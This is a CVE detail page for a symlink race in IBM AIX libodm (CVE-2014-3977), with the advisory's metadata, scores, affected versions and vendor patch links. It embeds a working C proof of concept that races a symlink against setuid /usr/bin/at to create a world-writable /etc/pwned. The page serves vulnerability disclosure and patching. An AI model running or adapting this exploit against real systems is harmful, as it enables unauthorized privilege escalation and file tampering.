CVE-2014-3977 : Detail

CVE-2014-3977

A01-Broken Access Control
0.04%V3
Local
2014-06-08
21h00 +00:00
2017-08-28
10h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

libodm.a in IBM AIX 6.1 and 7.1, and VIOS 2.2.x, allows local users to overwrite arbitrary files via a symlink attack on a temporary file. NOTE: this vulnerability exists because of an incomplete fix for CVE-2012-2179.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-59 Improper Link Resolution Before File Access ('Link Following')
The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.

Metrics

Metrics Score Severity CVSS Vector Source
V2 6.9 AV:L/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 33725

Publication date : 2014-06-11 22h00 +00:00
Author : Portcullis
EDB Verified : Yes

Vulnerability title: Privilege Escalation in IBM AIX CVE: CVE-2014-3977 Vendor: IBM Product: AIX Affected version: 6.1.8 and later Fixed version: N/A Reported by: Tim Brown Details: It has been identified that libodm allows privilege escalation via arbitrary file writes with elevated privileges (utilising SetGID and SetUID programs). The following will cause a new file /etc/pwned to be created with permissions of rw-rw-rw: #include <stdlib.h> #include <unistd.h> #include <stdio.h> int pwnedflag; int main(int argc, char **argv) { pwnedflag = 0; umask(0); if (fork()) { setenv("ODMERR", "1", 1); while (!pwnedflag) { if (!access("/etc/pwned", F_OK)) { pwnedflag = 1; printf("Race won...\r\n"); unsetenv("ODMERR"); exit(EXIT_SUCCESS); } system("/usr/bin/at"); } } else { while (!pwnedflag) { symlink("/etc/pwned", "ODMTRACE0"); if (!access("/etc/pwned", F_OK)) { pwnedflag = 1; printf("Race won...\r\n"); exit(EXIT_SUCCESS); } unlink("ODMTRACE0"); } } } It is believed this is a side affect of CVE-2012-2179 being incorrectly resolved. As understood, prior to CVE-2012-2179 being fixed, libodm would simply open ODMTRACE0 and write to it assuming ODMERR=1. It is believed that the fix that was applied was to check for the presence of ODMTRACE0 and increment until no file was found. It is necessary to win a time of check, time of use race condition by creating a symlink from the ODMTRACE0 in the current working directory to the target file under hoping that the link will be added after the check has been made that ODMTRACE0 does not exist. Further details at: https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-3977/ Copyright: Copyright (c) Portcullis Computer Security Limited 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited. Disclaimer: The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.

Products Mentioned

Configuraton 0

Ibm>>Vios >> Version 2.2.0.10

Ibm>>Vios >> Version 2.2.0.11

Ibm>>Vios >> Version 2.2.0.12

Ibm>>Vios >> Version 2.2.0.13

Ibm>>Vios >> Version 2.2.1.0

Ibm>>Vios >> Version 2.2.1.1

Ibm>>Vios >> Version 2.2.1.3

Ibm>>Vios >> Version 2.2.1.4

Ibm>>Vios >> Version 2.2.1.4

Ibm>>Vios >> Version 2.2.1.8

Ibm>>Vios >> Version 2.2.1.9

Ibm>>Vios >> Version 2.2.2.0

Ibm>>Vios >> Version 2.2.2.4

Ibm>>Vios >> Version 2.2.2.5

Ibm>>Vios >> Version 2.2.3.0

Ibm>>Vios >> Version 2.2.3.2

Ibm>>Vios >> Version 2.2.3.3

Ibm>>Aix >> Version 6.1

Ibm>>Aix >> Version 7.1

References

http://www.ibm.com/support/docview.wss?uid=isg1IV60312
Tags : vendor-advisory, x_refsource_AIXAPAR
http://www.ibm.com/support/docview.wss?uid=isg1IV60314
Tags : vendor-advisory, x_refsource_AIXAPAR
http://www.ibm.com/support/docview.wss?uid=isg1IV60299
Tags : vendor-advisory, x_refsource_AIXAPAR
http://www.securitytracker.com/id/1030401
Tags : vdb-entry, x_refsource_SECTRACK
http://www.ibm.com/support/docview.wss?uid=isg1IV60313
Tags : vendor-advisory, x_refsource_AIXAPAR
http://www.exploit-db.com/exploits/33725
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.ibm.com/support/docview.wss?uid=isg1IV60303
Tags : vendor-advisory, x_refsource_AIXAPAR
http://www.ibm.com/support/docview.wss?uid=isg1IV60311
Tags : vendor-advisory, x_refsource_AIXAPAR